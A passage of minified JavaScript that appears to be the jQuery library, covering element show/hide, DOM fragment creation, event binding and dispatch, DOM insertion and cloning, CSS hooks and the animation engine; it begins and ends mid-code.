n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var ce={};function fe(e){var t,n=e.ownerDocument,r=e.nodeName,i=ce[r];return i||(t=n.body.appendChild(n.createElement(r)),i=C.css(t,"display"),t.parentNode.removeChild(t),"none"===i&&(i="block"),ce[r]=i,i)}function pe(e,t){for(var n,r,i=[],o=0,s=e.length;o<s;o++)(r=e[o]).style&&(n=r.style.display,t?("none"===n&&(i[o]=J.get(r,"display")||null,i[o]||(r.style.display="")),""===r.style.display&&ue(r)&&(i[o]=fe(r))):"none"!==n&&(i[o]="none",J.set(r,"display",n)));for(o=0;o<s;o++)null!=i[o]&&(e[o].style.display=i[o]);return e}C.fn.extend({show:function(){return pe(this,!0)},hide:function(){return pe(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each((function(){ue(this)?C(this).show():C(this).hide()}))}});var de,he,ge=/^(?:checkbox|radio)$/i,ve=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i,me=/^$|^module$|\/(?:java|ecma)script/i;de=x.createDocumentFragment().appendChild(x.createElement("div")),(he=x.createElement("input")).setAttribute("type","radio"),he.setAttribute("checked","checked"),he.setAttribute("name","t"),de.appendChild(he),v.checkClone=de.cloneNode(!0).cloneNode(!0).lastChild.checked,de.innerHTML="<textarea>x</textarea>",v.noCloneChecked=!!de.cloneNode(!0).lastChild.defaultValue,de.innerHTML="<option></option>",v.option=!!de.lastChild;var ye={thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};function xe(e,t){var n;return n=void 0!==e.getElementsByTagName?e.getElementsByTagName(t||"*"):void 0!==e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&D(e,t)?C.merge([e],n):n}function be(e,t){for(var n=0,r=e.length;n<r;n++)J.set(e[n],"globalEval",!t||J.get(t[n],"globalEval"))}ye.tbody=ye.tfoot=ye.colgroup=ye.caption=ye.thead,ye.th=ye.td,v.option||(ye.optgroup=ye.option=[1,"<select multiple='multiple'>","</select>"]);var we=/<|&#?\w+;/;function Te(e,t,n,r,i){for(var o,s,a,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===T(o))C.merge(p,o.nodeType?[o]:o);else if(we.test(o)){for(s=s||f.appendChild(t.createElement("div")),a=(ve.exec(o)||["",""])[1].toLowerCase(),u=ye[a]||ye._default,s.innerHTML=u[1]+C.htmlPrefilter(o)+u[2],c=u[0];c--;)s=s.lastChild;C.merge(p,s.childNodes),(s=f.firstChild).textContent=""}else p.push(t.createTextNode(o));for(f.textContent="",d=0;o=p[d++];)if(r&&C.inArray(o,r)>-1)i&&i.push(o);else if(l=se(o),s=xe(f.appendChild(o),"script"),l&&be(s),n)for(c=0;o=s[c++];)me.test(o.type||"")&&n.push(o);return f}var Ce=/^([^.]*)(?:\.(.+)|)/;function Ee(){return!0}function ke(){return!1}function Se(e,t){return e===function(){try{return x.activeElement}catch(e){}}()==("focus"===t)}function Ne(e,t,n,r,i,o){var s,a;if("object"==typeof t){for(a in"string"!=typeof n&&(r=r||n,n=void 0),t)Ne(e,a,n,r,t[a],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=ke;else if(!i)return e;return 1===o&&(s=i,(i=function(e){return C().off(e),s.apply(this,arguments)}).guid=s.guid||(s.guid=C.guid++)),e.each((function(){C.event.add(this,t,i,r,n)}))}function Ae(e,t,n){n?(J.set(e,t,!1),C.event.add(e,t,{namespace:!1,handler:function(e){var r,i,o=J.get(this,t);if(1&e.isTrigger&&this[t]){if(o.length)(C.event.special[t]||{}).delegateType&&e.stopPropagation();else if(o=a.call(arguments),J.set(this,t,o),r=n(this,t),this[t](),o!==(i=J.get(this,t))||r?J.set(this,t,!1):i={},o!==i)return e.stopImmediatePropagation(),e.preventDefault(),i&&i.value}else o.length&&(J.set(this,t,{value:C.event.trigger(C.extend(o[0],C.Event.prototype),o.slice(1),this)}),e.stopImmediatePropagation())}})):void 0===J.get(e,t)&&C.event.add(e,t,Ee)}C.event={global:{},add:function(e,t,n,r,i){var o,s,a,u,l,c,f,p,d,h,g,v=J.get(e);if(G(e))for(n.handler&&(n=(o=n).handler,i=o.selector),i&&C.find.matchesSelector(oe,i),n.guid||(n.guid=C.guid++),(u=v.events)||(u=v.events=Object.create(null)),(s=v.handle)||(s=v.handle=function(t){return void 0!==C&&C.event.triggered!==t.type?C.event.dispatch.apply(e,arguments):void 0}),l=(t=(t||"").match(R)||[""]).length;l--;)d=g=(a=Ce.exec(t[l])||[])[1],h=(a[2]||"").split(".").sort(),d&&(f=C.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=C.event.special[d]||{},c=C.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&C.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(e,r,h,s)||e.addEventListener&&e.addEventListener(d,s)),f.add&&(f.add.call(e,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),C.event.global[d]=!0)},remove:function(e,t,n,r,i){var o,s,a,u,l,c,f,p,d,h,g,v=J.hasData(e)&&J.get(e);if(v&&(u=v.events)){for(l=(t=(t||"").match(R)||[""]).length;l--;)if(d=g=(a=Ce.exec(t[l])||[])[1],h=(a[2]||"").split(".").sort(),d){for(f=C.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],a=a[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),s=o=p.length;o--;)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||a&&!a.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));s&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,v.handle)||C.removeEvent(e,d,v.handle),delete u[d])}else for(d in u)C.event.remove(e,d+t[l],n,r,!0);C.isEmptyObject(u)&&J.remove(e,"handle events")}},dispatch:function(e){var t,n,r,i,o,s,a=new Array(arguments.length),u=C.event.fix(e),l=(J.get(this,"events")||Object.create(null))[u.type]||[],c=C.event.special[u.type]||{};for(a[0]=u,t=1;t<arguments.length;t++)a[t]=arguments[t];if(u.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,u)){for(s=C.event.handlers.call(this,u,l),t=0;(i=s[t++])&&!u.isPropagationStopped();)for(u.currentTarget=i.elem,n=0;(o=i.handlers[n++])&&!u.isImmediatePropagationStopped();)u.rnamespace&&!1!==o.namespace&&!u.rnamespace.test(o.namespace)||(u.handleObj=o,u.data=o.data,void 0!==(r=((C.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,a))&&!1===(u.result=r)&&(u.preventDefault(),u.stopPropagation()));return c.postDispatch&&c.postDispatch.call(this,u),u.result}},handlers:function(e,t){var n,r,i,o,s,a=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&e.button>=1))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],s={},n=0;n<u;n++)void 0===s[i=(r=t[n]).selector+" "]&&(s[i]=r.needsContext?C(i,this).index(l)>-1:C.find(i,this,null,[l]).length),s[i]&&o.push(r);o.length&&a.push({elem:l,handlers:o})}return l=this,u<t.length&&a.push({elem:l,handlers:t.slice(u)}),a},addProp:function(e,t){Object.defineProperty(C.Event.prototype,e,{enumerable:!0,configurable:!0,get:m(t)?function(){if(this.originalEvent)return t(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[e]},set:function(t){Object.defineProperty(this,e,{enumerable:!0,configurable:!0,writable:!0,value:t})}})},fix:function(e){return e[C.expando]?e:new C.Event(e)},special:{load:{noBubble:!0},click:{setup:function(e){var t=this||e;return ge.test(t.type)&&t.click&&D(t,"input")&&Ae(t,"click",Ee),!1},trigger:function(e){var t=this||e;return ge.test(t.type)&&t.click&&D(t,"input")&&Ae(t,"click"),!0},_default:function(e){var t=e.target;return ge.test(t.type)&&t.click&&D(t,"input")&&J.get(t,"click")||D(t,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},C.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},C.Event=function(e,t){if(!(this instanceof C.Event))return new C.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Ee:ke,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&C.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[C.expando]=!0},C.Event.prototype={constructor:C.Event,isDefaultPrevented:ke,isPropagationStopped:ke,isImmediatePropagationStopped:ke,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Ee,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Ee,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Ee,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},C.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,char:!0,code:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:!0},C.event.addProp),C.each({focus:"focusin",blur:"focusout"},(function(e,t){C.event.special[e]={setup:function(){return Ae(this,e,Se),!1},trigger:function(){return Ae(this,e),!0},_default:function(){return!0},delegateType:t}})),C.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},(function(e,t){C.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return i&&(i===r||C.contains(r,i))||(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}})),C.fn.extend({on:function(e,t,n,r){return Ne(this,e,t,n,r)},one:function(e,t,n,r){return Ne(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,C(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=ke),this.each((function(){C.event.remove(this,e,n,t)}))}});var De=/<script|<style|<link/i,je=/checked\s*(?:[^=]|=\s*.checked.)/i,Le=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function qe(e,t){return D(e,"table")&&D(11!==t.nodeType?t:t.firstChild,"tr")&&C(e).children("tbody")[0]||e}function _e(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Oe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function He(e,t){var n,r,i,o,s,a;if(1===t.nodeType){if(J.hasData(e)&&(a=J.get(e).events))for(i in J.remove(t,"handle events"),a)for(n=0,r=a[i].length;n<r;n++)C.event.add(t,i,a[i][n]);K.hasData(e)&&(o=K.access(e),s=C.extend({},o),K.set(t,s))}}function Pe(e,t){var n=t.nodeName.toLowerCase();"input"===n&&ge.test(e.type)?t.checked=e.checked:"input"!==n&&"textarea"!==n||(t.defaultValue=e.defaultValue)}function Re(e,t,n,r){t=u(t);var i,o,s,a,l,c,f=0,p=e.length,d=p-1,h=t[0],g=m(h);if(g||p>1&&"string"==typeof h&&!v.checkClone&&je.test(h))return e.each((function(i){var o=e.eq(i);g&&(t[0]=h.call(this,i,o.html())),Re(o,t,n,r)}));if(p&&(o=(i=Te(t,e[0].ownerDocument,!1,e,r)).firstChild,1===i.childNodes.length&&(i=o),o||r)){for(a=(s=C.map(xe(i,"script"),_e)).length;f<p;f++)l=i,f!==d&&(l=C.clone(l,!0,!0),a&&C.merge(s,xe(l,"script"))),n.call(e[f],l,f);if(a)for(c=s[s.length-1].ownerDocument,C.map(s,Oe),f=0;f<a;f++)l=s[f],me.test(l.type||"")&&!J.access(l,"globalEval")&&C.contains(c,l)&&(l.src&&"module"!==(l.type||"").toLowerCase()?C._evalUrl&&!l.noModule&&C._evalUrl(l.src,{nonce:l.nonce||l.getAttribute("nonce")},c):w(l.textContent.replace(Le,""),l,c))}return e}function Me(e,t,n){for(var r,i=t?C.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||C.cleanData(xe(r)),r.parentNode&&(n&&se(r)&&be(xe(r,"script")),r.parentNode.removeChild(r));return e}C.extend({htmlPrefilter:function(e){return e},clone:function(e,t,n){var r,i,o,s,a=e.cloneNode(!0),u=se(e);if(!(v.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||C.isXMLDoc(e)))for(s=xe(a),r=0,i=(o=xe(e)).length;r<i;r++)Pe(o[r],s[r]);if(t)if(n)for(o=o||xe(e),s=s||xe(a),r=0,i=o.length;r<i;r++)He(o[r],s[r]);else He(e,a);return(s=xe(a,"script")).length>0&&be(s,!u&&xe(e,"script")),a},cleanData:function(e){for(var t,n,r,i=C.event.special,o=0;void 0!==(n=e[o]);o++)if(G(n)){if(t=n[J.expando]){if(t.events)for(r in t.events)i[r]?C.event.remove(n,r):C.removeEvent(n,r,t.handle);n[J.expando]=void 0}n[K.expando]&&(n[K.expando]=void 0)}}}),C.fn.extend({detach:function(e){return Me(this,e,!0)},remove:function(e){return Me(this,e)},text:function(e){return z(this,(function(e){return void 0===e?C.text(this):this.empty().each((function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)}))}),null,e,arguments.length)},append:function(){return Re(this,arguments,(function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||qe(this,e).appendChild(e)}))},prepend:function(){return Re(this,arguments,(function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=qe(this,e);t.insertBefore(e,t.firstChild)}}))},before:function(){return Re(this,arguments,(function(e){this.parentNode&&this.parentNode.insertBefore(e,this)}))},after:function(){return Re(this,arguments,(function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)}))},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(C.cleanData(xe(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map((function(){return C.clone(this,e,t)}))},html:function(e){return z(this,(function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!De.test(e)&&!ye[(ve.exec(e)||["",""])[1].toLowerCase()]){e=C.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(C.cleanData(xe(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)}),null,e,arguments.length)},replaceWith:function(){var e=[];return Re(this,arguments,(function(t){var n=this.parentNode;C.inArray(this,e)<0&&(C.cleanData(xe(this)),n&&n.replaceChild(t,this))}),e)}}),C.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},(function(e,t){C.fn[e]=function(e){for(var n,r=[],i=C(e),o=i.length-1,s=0;s<=o;s++)n=s===o?this:this.clone(!0),C(i[s])[t](n),l.apply(r,n.get());return this.pushStack(r)}}));var Ie=new RegExp("^("+ne+")(?!px)[a-z%]+$","i"),We=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=n),t.getComputedStyle(e)},Fe=function(e,t,n){var r,i,o={};for(i in t)o[i]=e.style[i],e.style[i]=t[i];for(i in r=n.call(e),t)e.style[i]=o[i];return r},Be=new RegExp(ie.join("|"),"i");function $e(e,t,n){var r,i,o,s,a=e.style;return(n=n||We(e))&&(""!==(s=n.getPropertyValue(t)||n[t])||se(e)||(s=C.style(e,t)),!v.pixelBoxStyles()&&Ie.test(s)&&Be.test(t)&&(r=a.width,i=a.minWidth,o=a.maxWidth,a.minWidth=a.maxWidth=a.width=s,s=n.width,a.width=r,a.minWidth=i,a.maxWidth=o)),void 0!==s?s+"":s}function ze(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(c){l.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",c.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",oe.appendChild(l).appendChild(c);var e=n.getComputedStyle(c);r="1%"!==e.top,u=12===t(e.marginLeft),c.style.right="60%",s=36===t(e.right),i=36===t(e.width),c.style.position="absolute",o=12===t(c.offsetWidth/3),oe.removeChild(l),c=null}}function t(e){return Math.round(parseFloat(e))}var r,i,o,s,a,u,l=x.createElement("div"),c=x.createElement("div");c.style&&(c.style.backgroundClip="content-box",c.cloneNode(!0).style.backgroundClip="",v.clearCloneStyle="content-box"===c.style.backgroundClip,C.extend(v,{boxSizingReliable:function(){return e(),i},pixelBoxStyles:function(){return e(),s},pixelPosition:function(){return e(),r},reliableMarginLeft:function(){return e(),u},scrollboxSize:function(){return e(),o},reliableTrDimensions:function(){var e,t,r,i;return null==a&&(e=x.createElement("table"),t=x.createElement("tr"),r=x.createElement("div"),e.style.cssText="position:absolute;left:-11111px;border-collapse:separate",t.style.cssText="border:1px solid",t.style.height="1px",r.style.height="9px",r.style.display="block",oe.appendChild(e).appendChild(t).appendChild(r),i=n.getComputedStyle(t),a=parseInt(i.height,10)+parseInt(i.borderTopWidth,10)+parseInt(i.borderBottomWidth,10)===t.offsetHeight,oe.removeChild(e)),a}}))}();var Ue=["Webkit","Moz","ms"],Xe=x.createElement("div").style,Ve={};function Qe(e){var t=C.cssProps[e]||Ve[e];return t||(e in Xe?e:Ve[e]=function(e){for(var t=e[0].toUpperCase()+e.slice(1),n=Ue.length;n--;)if((e=Ue[n]+t)in Xe)return e}(e)||e)}var Ge=/^(none|table(?!-c[ea]).+)/,Ye=/^--/,Je={position:"absolute",visibility:"hidden",display:"block"},Ke={letterSpacing:"0",fontWeight:"400"};function Ze(e,t,n){var r=re.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function et(e,t,n,r,i,o){var s="width"===t?1:0,a=0,u=0;if(n===(r?"border":"content"))return 0;for(;s<4;s+=2)"margin"===n&&(u+=C.css(e,n+ie[s],!0,i)),r?("content"===n&&(u-=C.css(e,"padding"+ie[s],!0,i)),"margin"!==n&&(u-=C.css(e,"border"+ie[s]+"Width",!0,i))):(u+=C.css(e,"padding"+ie[s],!0,i),"padding"!==n?u+=C.css(e,"border"+ie[s]+"Width",!0,i):a+=C.css(e,"border"+ie[s]+"Width",!0,i));return!r&&o>=0&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-a-.5))||0),u}function tt(e,t,n){var r=We(e),i=(!v.boxSizingReliable()||n)&&"border-box"===C.css(e,"boxSizing",!1,r),o=i,s=$e(e,t,r),a="offset"+t[0].toUpperCase()+t.slice(1);if(Ie.test(s)){if(!n)return s;s="auto"}return(!v.boxSizingReliable()&&i||!v.reliableTrDimensions()&&D(e,"tr")||"auto"===s||!parseFloat(s)&&"inline"===C.css(e,"display",!1,r))&&e.getClientRects().length&&(i="border-box"===C.css(e,"boxSizing",!1,r),(o=a in e)&&(s=e[a])),(s=parseFloat(s)||0)+et(e,t,n||(i?"border":"content"),o,r,s)+"px"}function nt(e,t,n,r,i){return new nt.prototype.init(e,t,n,r,i)}C.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=$e(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,s,a=Q(t),u=Ye.test(t),l=e.style;if(u||(t=Qe(a)),s=C.cssHooks[t]||C.cssHooks[a],void 0===n)return s&&"get"in s&&void 0!==(i=s.get(e,!1,r))?i:l[t];"string"===(o=typeof n)&&(i=re.exec(n))&&i[1]&&(n=le(e,t,i),o="number"),null!=n&&n==n&&("number"!==o||u||(n+=i&&i[3]||(C.cssNumber[a]?"":"px")),v.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),s&&"set"in s&&void 0===(n=s.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,s,a=Q(t);return Ye.test(t)||(t=Qe(a)),(s=C.cssHooks[t]||C.cssHooks[a])&&"get"in s&&(i=s.get(e,!0,n)),void 0===i&&(i=$e(e,t,r)),"normal"===i&&t in Ke&&(i=Ke[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),C.each(["height","width"],(function(e,t){C.cssHooks[t]={get:function(e,n,r){if(n)return!Ge.test(C.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?tt(e,t,r):Fe(e,Je,(function(){return tt(e,t,r)}))},set:function(e,n,r){var i,o=We(e),s=!v.scrollboxSize()&&"absolute"===o.position,a=(s||r)&&"border-box"===C.css(e,"boxSizing",!1,o),u=r?et(e,t,r,a,o):0;return a&&s&&(u-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(o[t])-et(e,t,"border",!1,o)-.5)),u&&(i=re.exec(n))&&"px"!==(i[3]||"px")&&(e.style[t]=n,n=C.css(e,t)),Ze(0,n,u)}}})),C.cssHooks.marginLeft=ze(v.reliableMarginLeft,(function(e,t){if(t)return(parseFloat($e(e,"marginLeft"))||e.getBoundingClientRect().left-Fe(e,{marginLeft:0},(function(){return e.getBoundingClientRect().left})))+"px"})),C.each({margin:"",padding:"",border:"Width"},(function(e,t){C.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+ie[r]+t]=o[r]||o[r-2]||o[0];return i}},"margin"!==e&&(C.cssHooks[e+t].set=Ze)})),C.fn.extend({css:function(e,t){return z(this,(function(e,t,n){var r,i,o={},s=0;if(Array.isArray(t)){for(r=We(e),i=t.length;s<i;s++)o[t[s]]=C.css(e,t[s],!1,r);return o}return void 0!==n?C.style(e,t,n):C.css(e,t)}),e,t,arguments.length>1)}}),C.Tween=nt,nt.prototype={constructor:nt,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||C.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(C.cssNumber[n]?"":"px")},cur:function(){var e=nt.propHooks[this.prop];return e&&e.get?e.get(this):nt.propHooks._default.get(this)},run:function(e){var t,n=nt.propHooks[this.prop];return this.options.duration?this.pos=t=C.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):nt.propHooks._default.set(this),this}},nt.prototype.init.prototype=nt.prototype,nt.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=C.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){C.fx.step[e.prop]?C.fx.step[e.prop](e):1!==e.elem.nodeType||!C.cssHooks[e.prop]&&null==e.elem.style[Qe(e.prop)]?e.elem[e.prop]=e.now:C.style(e.elem,e.prop,e.now+e.unit)}}},nt.propHooks.scrollTop=nt.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},C.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},C.fx=nt.prototype.init,C.fx.step={};var rt,it,ot=/^(?:toggle|show|hide)$/,st=/queueHooks$/;function at(){it&&(!1===x.hidden&&n.requestAnimationFrame?n.requestAnimationFrame(at):n.setTimeout(at,C.fx.interval),C.fx.tick())}function ut(){return n.setTimeout((function(){rt=void 0})),rt=Date.now()}function lt(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=ie[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function ct(e,t,n){for(var r,i=(ft.tweeners[t]||[]).concat(ft.tweeners["*"]),o=0,s=i.length;o<s;o++)if(r=i[o].call(n,t,e))return r}function ft(e,t,n){var r,i,o=0,s=ft.prefilters.length,a=C.Deferred().always((function(){delete u.elem})),u=function(){if(i)return!1;for(var t=rt||ut(),n=Math.max(0,l.startTime+l.duration-t),r=1-(n/l.duration||0),o=0,s=l.tweens.length;o<s;o++)l.tweens[o].run(r);return a.notifyWith(e,[l,r,n]),r<1&&s?n:(s||a.notifyWith(e,[l,1,0]),a.resolveWith(e,[l]),!1)},l=a.promise({elem:e,props:C.extend({},t),opts:C.extend(!0,{specialEasing:{},easing:C.easing._default},n),originalProperties:t,originalOptions:n,startTime:rt||ut(),duration:n.duration,tweens:[],createTween:function(t,n){var r=C.Tween(e,l.opts,t,n,l.opts.specialEasing[t]||l.opts.easing);return l.tweens.push(r),r},stop:function(t){var n=0,r=t?l.tweens.length:0;if(i)return this;for(i=!0;n<r;n++)l.tweens[n].run(1);return t?(a.notifyWith(e,[l,1,0]),a.resolveWith(e,[l,t])):a.rejectWith(e,[l,t]),this}}),c=l.props;for(!function(e,t){var n,r,i,o,s;for(n in e)if(i=t[r=Q(n)],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(s=C.cssHooks[r])&&"expand"in s)for(n in o=s.expand(o),delete e[r],o)n in e||(e[n]=o[n],t[n]=i);else t[r]=i}(c,l.opts.specialEasing);o<s;o++)if(r=ft.prefilters[o].call(l,e,c,l.opts))return m(r.stop)&&(C._queueHooks(l.elem,l.opts.queue).stop=r.stop.bind(r)),r;return C.map(c,ct,l),m(l.opts.start)&&l.opts.start.call(e,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),C.fx.timer(C.extend(u,{elem:e,anim:l,queue:l.opts.queue})),l}C.Animation=C.extend(ft,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return le(n.elem,e,re.exec(t),n),n}]},tweener:function(e,t){m(e)?(t=e,e=["*"]):e=e.match(R);for(var n,r=0,i=e.length;r<i;r++)n=e[r],ft.tweeners[n]=ft.tweeners[n]||[],ft.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var r,i,o,s,a,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ue(e),v=J.get(e,"fxshow");for(r in n.queue||(null==(s=C._queueHooks(e,"fx")).unqueued&&(s.unqueued=0,a=s.empty.fire,s.empty.fire=function(){s.unqueued||a()}),s.unqueued++,p.always((function(){p.always((function(){s.unqueued--,C.queue(e,"fx").length||s.empty.fire()}))}))),t)if(i=t[r],ot.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!v||void 0===v[r])continue;g=!0}d[r]=v&&v[r]||C.style(e,r)}if((u=!C.isEmptyObject(t))||!C.isEmptyObject(d))for(r in f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=v&&v.display)&&(l=J.get(e,"display")),"none"===(c=C.css(e,"display"))&&(l?c=l:(pe([e],!0),l=e.style.display||l,c=C.css(e,"display"),pe([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===C.css(e,"float")&&(u||(p.done((function(){h.display=l})),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always((function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]}))),u=!1,d)u||(v?"hidden"in v&&(g=v.hidden):v=J.access(e,"fxshow",{display:l}),o&&(v.hidden=!g),g&&pe([e],!0),p.done((function(){for(r in g||pe([e]),J.remove(e,"fxshow"),d)C.style(e,r,d[r])}))),u=ct(g?v[r]:0,r,p),r in v||(v[r]=u.start,g&&(u.end=u.start,u.start=0))}],prefilter:function(e,t){t?ft.prefilters.unshift(e):ft.prefilters.push(e)}}),C.speed=function(e,t,n){var r=e&&"object"==typeof e?C.extend({},e):{complete:n||!n&&t||m(e)&&e,duration:e,easing:n&&t||t&&!m(t)&&t};return C.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in C.fx.speeds?r.duration=C.fx.speeds[r.duration]:r.duration=C.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){m(r.old)&&r.old.call(this),r.queue&&C.dequeue(this,r.queue)},r},C.fn.extend({fadeTo:function(e,t,n,r){return 